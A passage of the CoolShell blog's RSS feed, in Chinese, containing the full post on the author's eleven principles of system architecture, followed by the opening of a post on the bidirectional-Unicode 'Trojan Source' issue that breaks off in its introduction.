来年看到了很多公司系统架构，也看到了很多问题，在跟这些公司进行交流和讨论的时候，包括进行实施和方案比较的时候，都有很多各种方案的比...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21672.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-21682\" src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x.png\" alt=\"\" width=\"250\" height=\"250\" srcset=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x.png 250w, https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png 150w\" sizes=\"(max-width: 250px) 100vw, 250px\" />工作 20 多年了，这 20 来年看到了很多公司系统架构，也看到了很多问题，在跟这些公司进行交流和讨论的时候，包括进行实施和方案比较的时候，都有很多各种方案的比较和妥协，因为相关的经历越来越多，所以，逐渐形成了自己的逻辑和方法论。今天，想写下这篇文章，把我的这些个人的经验和想法总结下来，希望能够让更多的人可以参考和借鉴，并能够做出更好的架构来。另外，我的这些思维方式和原则都针对于现有市面上众多不合理的架构和方案，所以，也算是一种“纠正”……（注意，这篇文章所说的这些架构上的原则，一般适用于相对比较复杂的业务，如果只是一些简单和访问量不大的应用，那么你可能会得出相反的结论）</p>\n<h4>原则一：关注于真正的收益而不是技术本身</h4>\n<p>对于软件架构来说，我觉得第一重要的是架构的收益，如果不说收益，只是为了技术而技术，而没有任何意义。对于技术收益来说，我觉得下面这几个收益是非常重要的：</p>\n<ul>\n<li><strong>是否可以降低技术门槛加快整个团队的开发流程</strong>。能够加快整个团队的工程流程，快速发布，是软件工程一直在解决的问题，所以，系统架构需要能够进行并行开发，并行上线和并行运维，而不会让某个团队成为瓶颈点。（注：就算拖累团队的原因是组织构架，也不妨碍我们做出并行的系统架构设计）</li>\n<li><strong>是否可以让整个系统可以运行的更稳定</strong>。要让整个系统可以运行的更为的稳定，提升整个系统的 SLA，就需要对有计划和无计划的停机做相应的解决方案（参看《<a title=\"关于高可用的系统\" href=\"https://coolshell.cn/articles/17459.html\" target=\"_blank\" rel=\"noopener\">关于高可用的架构</a>》）</li>\n<li><strong>是否可以通过简化和自动化降低成本</strong>。最高优化的成本是人力成本，人的成本除了慢和贵，还有经常不断的 human error。如果不能降低人力成本，反而需要更多的人，那么这个架构设计一定是失败的。除此之外，是时间成本，资金成本。</li>\n</ul>\n<p>如果一个系统架构不能在上面三个事上起到作用，那就没有意义了。</p>\n<p><span id=\"more-21672\"></span></p>\n<h4>原则二：以应用服务和 API 为视角，而不是以资源和技术为视角</h4>\n<p>国内很多公司都会有很多分工，基本上都会分成运维和开发，运维又会分成基础运维和应用运维，开发则会分成基础核心开发和业务开发。不同的分工会导致完全不同的视角和出发点。比如，基础运维和开发的同学更多的只是关注资源的利用率和性能，而应用运维和业务开发则更多关注的是应用和服务上的东西。这两者本来相关无事，但是因为分布式架构的演进，导致有一些系统已经说不清楚是基础层的还是应用层的了，比如像服务治理上的东西，里面即有底层基础技术，也需要业务的同学来配合，包括 k8s 也样，里面即有底层的如网络这样的技术，也有需要业务配合的 readniess和 liveness 这样的健康检查，以及业务应用需要 configMap 等等 ……</p>\n<p><strong>这些东西都让我感觉到所谓 DevOps，其实就是因为很多技术和组件已经分不清是 Dev 还是 Ops 的了，所以，需要合并 Dev和 Ops</strong>。而且，整个组织和架构的优化，已经不能通过调优单一分工或是单一组件能够有很大提升的了。其需要有一种自顶向下的，整体规划，统一设计的方式，才能做到整体的提升（可以试想一下城市交通的优化，当城市规模到一定程度的时候，整体的性能你是无法通过优化几条路或是几条街区来完成的，你需要对整个城市做整体的功能体的规划才可能达到整体效率的提升）。而为了做到整体的提升，需要所有的人都要有一个统一的视角和目标，这几年来，我觉得这个目标就是——<strong>要站在服务和 对外API的视角来看问题，而不是技术和底层的角度。</strong></p>\n<h4>原则三：选择最主流和成熟的技术</h4>\n<p>技术选型是一件很重要的事，技术一旦选错，那会导致整个架构需要做调整，而对架构的调整重来都不是一件简单的事，我在过去几年内，当系统越来越复杂的时候，用户把他们的  PHP，Python, .NET，或 Node.js 的架构完全都迁移到 Java + Go 的架构上来的案例不断的发生。这个过程还是非常痛苦的，但是你没有办法，当你的系统越来越复杂，越来越大时，你就再也不能在一些玩具技术上玩了，你需要的更为工业化的技术。</p>\n<ul>\n<li><strong>尽可能的使用更为成熟更为工业化的技术栈，而不是自己熟悉的技术栈</strong>。 所谓工业化的技术栈，你可以看看大多数公司使用的技术栈，比如：互联网，金融，电信……等等 ，大公司会有更多的技术投入，也需要更大规模的生产，所以，他们使用的技术通常来说都是比较工业化的。在技术选型上，千万不要被——“你看某个视频公司也在用这个技术”，或是一些在论坛上看到的一些程序员吐槽技术的观点（没有任何的数据，只有自己的喜好）来决定自己的技术，还是看看主流大多数公司实际在用的技术栈，会更靠谱一些。</li>\n<li><strong>选择全球流行的技术，而不是中国流行的技术</strong>。技术这个东西一定是一个全球化的东西，不是一个局域化的事。所以，一定要选国际化的会更好。另外，千万不要被某些公司的“特别案例”骗过去了，那怕这个案例很性感，关键还是要看解决问题的思路和采用的技术是否具有普世性。只有普世性的技术有更强的生命力。</li>\n<li><strong>尽可能的使用红利大的主流技术，而不要自己发明轮子，更不要魔改</strong>。我见过好些个公司魔改开源软件，比如有个公司同魔改mesos，最后改着改着发现自己发明另一个 kubernetes。我还见过很多公司或技术团队喜欢自己发明自己的专用轮子，最后都会被主流开源软件所取代。完全没有必要。不重新发明轮子，不魔改，不是因为自己技术不能，而是因为，这个世界早已不是自己干所有事的年代了，这个时代是要想尽方法跟整个产业，整个技术社区融合和合作，这样才会有最大的收益。那些试图因为某个特例需要自成一套的玩法，短期没问题，但长期来说，我都不看好。</li>\n<li><strong>绝大多数情况下，如无非常特殊要求，选 Java基本是不会错的</strong>。一方面，这是因为 Java 的业务开发的生产力是非常好的，而且有 Spring 框架保障，代码很难写烂，另外，Java 的社区太成熟了，你需要的各种架构和技术都可以很容易获得，技术红利实在是太大。这种运行在JVM上的语言有太多太多的好处了。在 Java 的技术栈上，你的架构风险和架构的成本（无论是人力成本，时间成本和资金成本）从长期来说都是最优的</li>\n</ul>\n<p>在我见过的公司中，好些公司的架构都被技术负责人个人的喜好、擅长和个人经验给绑架了，完全不是从一个客观的角度来进行技术选型。其实，从 0 到 1 的阶段，你用什么样的技术都行，如果你做一个简单的应用，没有事务处理没有复杂的交易流程，比如一些论坛、社交之类的应用，你用任何语言都行。但是如果有一天你的系统变复杂了，需要处理交易了，量也上来了，从 1 到 10，甚至从 10 到 100，你的开发团队也变大了，需要构建的系统越来越大，你可能会发现你只有一个选择，就是 Java。想想京东从.NET 到 Java，淘宝从 PHP 到 Java……</p>\n<p>注，一些有主观喜好的人一定会对我上述对 Java 的描述感到不适，我还用一些证据说明一下——全中国所有的电商平台，几百家银行，三大电信运营商，所有的保险公司，劵商的系统，医院里的系统，电子政府系统，等等，基本都是用 Java 开发的，包括 AWS 的主流语言也是 Java，阿里云一开始用 C++/Python 写控制系统，后面也开始用 Java ……你可能会说 B站是用 go语言，但是你可能不知道 B 站的电商和大数据是用 Java……懂着数据分析的同学，建议上各大招聘网站上搜一下 Java 的职位数量，你就知道某个技术是否主流和热门……</p>\n<h4>原则四：完备性会比性能更重要</h4>\n<p>我发现好些公司的架构师做架构的时候，首要考虑的是架构的性能是否能够撑得住多大多大的流量，而不是考虑系统的完备性和扩展性。所以，我已经多次见过这样的案例了，一开始直接使用 MongoDB 这样的非关系型数据库，或是把数据直接放在 Redis 里，而直接放弃关系型数据库的数据完备性的模型，而在后来需要在数据上进行关系查询的时候，发现 NoSQL 的数据库在 Join 上都表现的太差，然后就开始各种飞线，为了不做 Join 就开始冗余数据，然而自己又维护不好冗余数据后带来的数据一致性的问题，导致数据上的各种错乱丢失。</p>\n<p>所以，我给如下的一些如下的架构原则：</p>\n<ul>\n<li><strong>使用最科学严谨的技术模型为主，并以不严谨的模型作为补充</strong>。对于上面那个案例来说，就是——永远使用完备支持 ACID 的关系型数据库，然后用 NoSQL 作补充，而不是完全放弃关系型数据库。这里的原则就是所谓的“先紧后松”，一开始紧了，你可以慢慢松，但是开始松了，以后你想紧再也紧不过来了。</li>\n<li><strong>性能上的东西，总是有很多解的</strong>。我这么多年的经历告诉我，性能上的事，总是有解的，手段也是最多的，这个比起架构的完备性和扩展性来说真的不必太过担心。</li>\n</ul>\n<p>为了追求所谓的性能，把整个系统的完备性丢失掉，相当地得不偿失。</p>\n<h4>原则五：制定并遵循服从标准、规范和最佳实践</h4>\n<p>这个原则是非常重要的，因为只有服从了标准，你的架构才能够有更好的扩展性。比如：我经常性的见到很多公司的系统既没有服从业界标准，也没有形成自己公司的标准，感觉就像一群乌合之众一样。最典型的例子就是 HTTP 调用的状态返回码。业内给你的标准是 200表示成功，3xx 跳转，4xx 表示调用端出错，5xx 表示服务端出错，我实在是不明白为什么无论成功和失败大家都喜欢返回 200，然后在 body 里指出是否error（前两年我在微信公众号里看到一个有一定名气的互联网老兵推荐使用无论正确还是出错都返回 200 的做法，我在后台再三确认后，我发现这样的架构师真是害人不浅）。这样做最大的问题是——监控系统将在一种低效的状态下工作。监控系统需要把所有的网络请求包打开后才知道是否是错误，而且完全不知道是调用端出错还是服务端出错，于是一些像重试或熔断这样的控制系统完全不知道怎么搞（如果是 4xx错，那么重试或熔断是没有意义的，只有 5xx 才有意义）。<strong>有时候，我会有种越活越退步的感觉，错误码设计这种最基本最基础的东西为什么会没有？并且一个公司会任由着大家乱来？这些基础技能怎么就这样丢掉了？</strong></p>\n<p>还有，我还见过一些公司，他们整个组织没有一个统一的用户 ID 的设计，各个系统之间同步用户的数据是通过用户的身份证 ID，是的，就是现实世界的身份证 ID，包括在网关上设置的用户白名单居然也是用身份证 ID。我对这个公司的内的用户隐私管理有很大的担忧。一个企业，一个组织，如果没有标准和规范，也就会有抽象，这一定是要出各种乱子的。</p>\n<p>下面，我罗列一些你需要注意的标准和规范（包括但不限于）：</p>\n<ul>\n<li><strong>服务间调用的协议标准和规范</strong>。这其中包括 Restful API路径, HTTP 方法、状态码、标准头、自定义头等，返回数据 JSon Scheme……等。</li>\n<li><strong>一些命名的标准和规范</strong>。这其中包括如：用户 ID，服务名、标签名、状态名、错误码、消息、数据库……等等</li>\n<li><strong>日志和监控的规范</strong>。这其中包括：日志格式，监控数据，采样要求，报警……等等</li>\n<li><strong>配置上的规范</strong>。这其中包括：操作系统配置、中间件配置，软件包……等等</li>\n<li><strong>中间件使用的规范</strong>。数据库，缓存、消息队列……等等</li>\n<li><strong>软件和开发库版本统一</strong>。整个组织架构内，软件或开发库的版本最好每年都升一次级，然后在各团队内统一。</li>\n</ul>\n<p>这里重要说一下两个事：</p>\n<ul>\n<li><strong>Restful API 的规范</strong>。我觉得是非常重要的，这里给两个我觉得写得最好的参考：<a href=\"https://github.com/paypal/api-standards/blob/master/api-style-guide.md\" target=\"_blank\" rel=\"noopener\">Paypal</a> 和 <a href=\"https://github.com/microsoft/api-guidelines\" target=\"_blank\" rel=\"noopener\">Microsoft</a> 。Restful API 有一个标准和规范最大的好处就是监视可以很容易地做各种统计分析，控制系统可以很容易的做流量编排和调度。</li>\n<li><strong>另一个是服务调用链追踪</strong>。对于服务调用链追踪来说，基本上都是参考于 <a href=\"https://research.google/pubs/pub36356/\" target=\"_blank\" rel=\"noopener\">Google Dapper</a> 这篇论文，目前有很多的实现，最严格的实现是 <a href=\"https://zipkin.io/\" target=\"_blank\" rel=\"noopener\">Zipkin</a>，这也是 Spring Cloud Sleuth 的底层实现。Zipkin 贴近 Google Dapper 论文的好处在于——无状态，快速地把 Span 发出来，不消耗服务应用侧的内存和 CPU。这意味着，监控系统宁可自己死了也不能干扰实际应用。</li>\n<li><strong>软件升级</strong>。我发现很多公司包括 BAT，他们完全没有软件升级的活动，全靠开发人员自发。然而，这种成体系的活动，是永远不可能靠大众的自发形成的。一个公司至少一年要有一次软件版本升级的review，然后形成软件版本的统一和一致，这样会极太简化系统架构的复杂度。</li>\n</ul>\n<h4>原则六：重视架构扩展性和可运维性</h4>\n<p>在我见过很多架构里，技术人员只考虑当下，但从来不考虑系统的未来扩展性和可运维性。所谓的管生不管养。如果你生下来的孩子胳膊少腿，严重畸形，那么未来是很难玩的。因为架构和软件不是写好就完的，是需要不断修改不断维护的，80%的软件成本都是在维护上。所以，如何让你的架构有更好的扩展性，可以更容易地运维，这个是比较重要的。所谓的扩展性，意味着，我可以很容易地加更多的功能，或是加入更多的系统，而所谓可运维，就是说我可以对线上的系统做任意的变更。扩展性要求的是有标准规范且不耦合的业务架构，可运维性要求的则是可控的能力，也就是一组各式各样的控制系统。</p>\n<ul>\n<li><strong>通过服务编排架构来降低服务间的耦合</strong>。比如：通过一个业务流程的专用服务，或是像 Workflow，Event Driven Architecture ， Broker，Gateway，Service Discovery 等这类的的中间件来降低服务间的依赖关系。</li>\n<li><strong>通过服务发现或服务网关来降低服务依赖所带来的运维复杂度</strong>。服务发现可以很好的降低相关依赖服务的运维复杂度，让你可以很轻松的上线或下线服务，或是进行服务伸缩。</li>\n<li><strong>一定要使用各种软件设计的原则</strong>。比如：像SOLID这样的原则（参看《<a title=\"一些软件设计的原则\" href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a>》），IoC/DIP，SOA 或 Spring Cloud 等 架构的最佳实践（参看《<a title=\"SteveY对Amazon和Google平台的吐槽 - 67,710 人阅读\" href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\" rel=\"noopener\">SteveY对Amazon和Google平台的吐槽</a>》中的 Service Interface 的那几条军规），分布式系统架构的相关实践（参看：《<a title=\"分布式系统的事务处理\" href=\"https://coolshell.cn/articles/10910.html\" target=\"_blank\" rel=\"noopener\">分布式系统的事务处理</a>》，或微软件的 《<a href=\"https://docs.microsoft.com/en-us/azure/architecture/patterns/\" target=\"_blank\" rel=\"noopener\">Cloud Design Patterns</a>》）……等等</li>\n</ul>\n<h4>原则七：对控制逻辑进行全面收口</h4>\n<p>所有的程序都会有两种逻辑，一种是业务逻辑，一种是控制逻辑，业务逻辑就是完成业务的逻辑，控制逻辑是辅助，比如你用多线程，还是用分布式，是用数据库还是用文件，如何配置、部署，运维、监控，事务控制，服务发现，弹性伸缩，灰度发布，高并发，等等，等等 ……这些都是控制逻辑，跟业务逻辑没有一毛钱关系。控制逻辑的技术深度会通常会比业务逻辑要深一些，门槛也会要高一些，所以，最好要专业的程序员来负责控制逻辑的开发，统一规划统一管理，进行收口。这其中包括：</p>\n<ul>\n<li><strong>流量收口</strong>。包括南北向和东西向的流量的调度，主要通过流量网关，开发框架 SDK或 Service Mesh 这样的技术。</li>\n<li><strong>服务治理收口</strong>。包括：服务发现、健康检查，配置管理、事务、事件、重试、熔断、限流……主要通过开发框架 SDK &#8211; 如：Spring Cloud，或服务网格Service Mesh等技术。</li>\n<li><strong>监控数据收口</strong>。包括：日志、指标、调用链……主要通过一些标准主流的探针，再加上后台的数据清洗和数据存储来完成，最好是使用无侵入式的技术。监控的数据必须统一在一个地方进行关联，这样才会产生信息。</li>\n<li><strong>资源调度有应用部署的收口</strong>。包括：计算、网络和存储的收口，主要是通过容器化的方案，如k8s来完成。</li>\n<li><strong>中间件的收口</strong>。包括：数据库，消息，缓存，服务发现，网关……等等。这类的收口方式一般要在企业内部统一建立一个共享的云化的中间件资源池。</li>\n</ul>\n<p>对此，这里的原则是：</p>\n<ul>\n<li><strong>你要选择容易进行业务逻辑和控制逻辑分离的技术</strong>。这里，Java 的 JVM+字节码注入+AOP 式的Spring 开发框架，会带给你太多的优势。</li>\n<li><strong>你要选择可以享受“前人种树，后人乘凉”的有技术红利的技术</strong>。如：有庞大社区而且相互兼容的技术，如：Java, Docker,  Ansible，HTTP，Telegraf/Collectd……</li>\n<li><strong>中间件你要使用可以 支持HA集群和多租户的技术</strong>。这里基本上所有的主流中间件都会支持 HA 集群方式的。</li>\n</ul>\n<h4>原则八：不要迁就老旧系统的技术债务</h4>\n<p>我发现很多公司都很非常大的技术债务，这些债务具体表现如下：</p>\n<ul>\n<li><strong>使用老旧的技术</strong>。比如，使用HTTP1.0， Java 1.6，Websphere，ESB，基于 socket的通讯协议，过时的模型……等等</li>\n<li><strong>不合理的设计</strong>。比如，在 gateway 中写大量的业务逻辑，单体架构，数据和业务逻辑深度耦合，错误的系统架构（把缓存当数据库，用消息队列同步数据）……等等</li>\n<li> <strong>缺少配套设施</strong>。比如，没有自动化测试，没有好的软件文档，没有质量好的代码，没有标准和规范……等等</li>\n</ul>\n<p>来找我寻求技术帮助的人都有各种各样的问题。我都会对他们苦口婆心地说同样的一句话——“<strong>如果你是来找我 case-by-case 解决问题，我兴趣不大，因为，你们千万不要寄希望能够很简单的把一辆夏利车改成一辆法拉利跑车，或是把一栋地基没打好的歪楼搞正。以前欠下的技术债，都得要还，没打好的地基要重新打，没建配套设施都要建。这些基础设施如果不按照正确科学的方式建立的话，你是不可能有一个好的的系统，我也没办法帮你 case-by-case 的解决问题……</strong>”，一开始，他们都会对我说，没问题，我们就是要还债，但是，最后发现要还的债真多，有点承受不了，就开始现原形了。</p>\n<p>他们开始为自己的“欠的技术债”找各种合理化的理由——给你解释各种各样的历史原因和不得以而为之的理由。谈着谈着，让我有一种感觉——他们希望得到一种什么都不改什么都不付出的方式就可以进步的心态，他们宁可让新的技术 low 下来迁就于这些技术债，把新的技术滥用地乱七八糟的。有一个公司，他们的系统架构和技术选型基本都搞错了，使用错误的模型构建系统，导致整个系统的性能非常之差，也才几千万条数据，但他们想的不是还债，不是把地基和配套设施建好，而且要把楼修的更高，上更多的系统——他们觉得现有的系统挺好，性能问题的原因是他们没一个大数据平台，所以要建大数据平台……</p>\n<p>我见过很多很多公司，包括大如 BAT 这样的公司，都会在原来的技术债上进行更多的建设，然后，技术债越来越大，利息越来越大，最终成为一个高利贷，再也还不了（我在《<a href=\"https://coolshell.cn/articles/11656.html\" target=\"_blank\" rel=\"noopener\">开发团队的效率</a>》一文中讲过一个 WatchDog 的架构模式，一个系统烂了，不是去改这个系统，而是在旁边建一个系统来看着它，我很难理解为什么会有这样的逻辑，也许是为了要解决更多的就业……）</p>\n<p>这里有几个原则和方法我是非常坚持的，分享给大家：</p>\n<ul>\n<li><strong>与其花大力气迁就技术债务，不如直接还技术债。是所谓的长痛不如短痛。</strong></li>\n<li><strong>建设没有技术债的“新城区”，并通过“<a href=\"https://docs.microsoft.com/en-us/azure/architecture/patterns/anti-corruption-layer\" target=\"_blank\" rel=\"noopener\">防腐层</a> ”的架构模型，不要让技术债侵入“新城区”</strong>。</li>\n</ul>\n<h4>原则九：不要依赖自己的经验，要依赖于数据和学习</h4>\n<p>有好些人来找我跟我说他们的技术问题，然后希望我能够给他们一个答案。我说，我需要了解一下你现有系统的情况，也就是需要先做个诊断，我只有得到这些数据后，我才可能明白真正的原因是什么 ，我才可能给你做出一个比较好的技术方案。我个人觉得这是一种对对方负责的方法，因为技术手段太多了，所有的技术手段都有适应的场景，并且有各种 trade-off，所以，只有调研完后才能做出决定。这跟医生看病是一样的，确诊病因不能靠经验，还是要靠诊断数据。在科学面前，所有的经验都是靠不住的……</p>\n<p>另外，如果有一天你在做技术决定的时候，开始凭自己以往的经验，那么你就已经不可能再成长了。人都是不可能通过不断重复过去而进步的，人的进步从来都是通过学习自己不知道的东西。所以，千万不要依赖于自己的经验做决定。做任何决定之前，最好花上一点时间，上网查一下相关的资料，技术博客，文章，论文等 ，同时，也看看各个公司，或是各个开源软件他们是怎么做的？然后，比较多种方案的 Pros/Cons，最终形成自己的决定，这样，才可能做出一个更好的决定。</p>\n<h4>原则十：千万要小心 X &#8211; Y 问题，要追问原始需求</h4>\n<p>对于 <a title=\"X-Y Problem\" href=\"https://coolshell.cn/articles/10804.html\">X-Y 问题</a>，也就是说，用户为了解决 X问题，他觉得用 Y 可以解，于是问我 Y 怎么搞，结果搞到最后，发现原来要解决的 X 问题，这个时候最好的解决方案不是 Y，而是 Z。 这种 X-Y 问题真是相当之多，见的太多太多了。所以，每次用户来找我的时候，我都要不断地追问什么是 X 问题。</p>\n<p>比如，好些用户都会来问我他们要一个大数据流式处理，结果追问具体要解决什么样的问题时，才发现他们的问题是因为服务中有大量的状态，需要把相同用户的数据请求放在同一个服务上处理，而且设计上导致一个慢函数拖慢整个应用服务。最终就是做一下性能调优就好了，根本没有必要上什么大数据的流式处理。</p>\n<p>我很喜欢追问为什么 ，这种追问，会让客户也跟着来一起重新思考。比如，有个客户来找我评估的一个技术架构的决定，从理论上来说，好像这个架构在用户的这个场景下非常不错。但是，这个场景和这个架构是我职业生涯从来没有见过的。于是，我开始追问这个为什么会是这么一个场景？当我追问的时候，我发现用户都感到这个场景的各种不合理。最后引起了大家非常深刻的研讨，最终用户把那个场景修正后，而架构就突然就变成了一个常见且成熟的的模型……</p>\n<h4>原则十一：激进胜于保守，创新与实用并不冲突</h4>\n<p>我对技术的态度是比较激进的，但是，所谓的激进并不是瞎搞，也不是见新技术就上，而是积极拥抱会改变未来的新技术，如：Docker/Go，我就非常快地跟进，但是像区块链或是 Rust 这样的，我就不是很积极。因为，其并没有命中我认为的技术趋势的几个特征（参看《<a title=\"Go语言、Docker 和新技术\" href=\"https://coolshell.cn/articles/18190.html\" target=\"_blank\" rel=\"noopener\">Go,Docker 和新技术</a> 》）。当然，我也不是不喜欢的就不学了，我对区块链和 Rust 我一样学习，我也知道这些技术的优势，但我不会大规模使用它们。另外，我也尊重保守的决定，这里面没有对和错。但是，我个人觉得对技术激进的态度比起保守来说有太多的好处了。一方面来说，对于用户来说，很大程度上来说，新技术通常都表面有很好的竞争力，而且我见太多这样成功的公司都在积极拥抱新的技术的，而保守的通常来说都越来越不好。</p>\n<p>有一些人会跟我说，我们是实用主义，我们不需要创新，能解决当下的问题就好，所以，我们不需要新技术，现有的技术用好就行了。这类的公司，他们的技术设计第一天就在负债，虽然可以解决当下问题，但是马上就会出现新的问题，然后他们会疲于解决各种问题。最后呢，最后还是会走到新的技术上。</p>\n<p>这里的逻辑很简单 —— <strong>进步永远来自于探索，探索是要付出代价的，但是收益更大</strong>。对我而言，不敢冒险才是最大的冒险，不敢犯错才是最大的错误，害怕失去会让你失去的更多……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"多些时间能少写些代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_title\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21672.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>163</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>源代码特洛伊木马攻击</title>\n\t\t<link>https://coolshell.cn/articles/21649.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21649.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 19 Nov 2021 09:02:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[hacker]]></category>\n\t\t<category><![CDATA[Unicode]]></category>\n\t\t<category><![CDATA[木马]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21649</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近，我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21649.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21649.html\">源代码特洛伊木马攻击</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-21658\" src=\"https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv.jpg\" alt=\"\" width=\"340\" height=\"270\" srcset=\"https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv.jpg 340w, https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv-300x238.jpg 300w\" sizes=\"(max-width: 340px) 100vw, 340px\" />最近，我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本，中文直译作 “双向文本”，意思是一些语言是从左到右的，而另一些则是是从右到左的（如：阿拉伯语），如果同一个文件里，即有从左向右的文本也有从右向左文本两种的混搭，那么，就叫bi-direction。术语通常缩写为“ <b>BiDi</b> ”或“ <b>bidi</b> ”。使用双向文本对于中国人来说并不陌生，因为中文又可以从左到右，也可以从右到左，还可以从上到下。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-21652\" src=\"https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-1024x329.jpg\" alt=\"\" width=\"640\" height=\"206\" srcset=\"https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-1024x329.jpg 1024w, https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-300x96.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-768x247.jpg 768w, https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-604x194.jpg 604w, https://coolshell.cn/wp-content/uploads/2021/11/1637305049427.jpg 1288w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持，但不容易支持从右到左的脚本，例如阿拉伯语或希伯来语，并且将两者混合使用更是不可能。从右到左的脚本是通过<a title=\"ISO/IEC 8859-6\" href=\"https://en.wikipedia.org/wiki/ISO/IEC_8859-6\">ISO/IEC 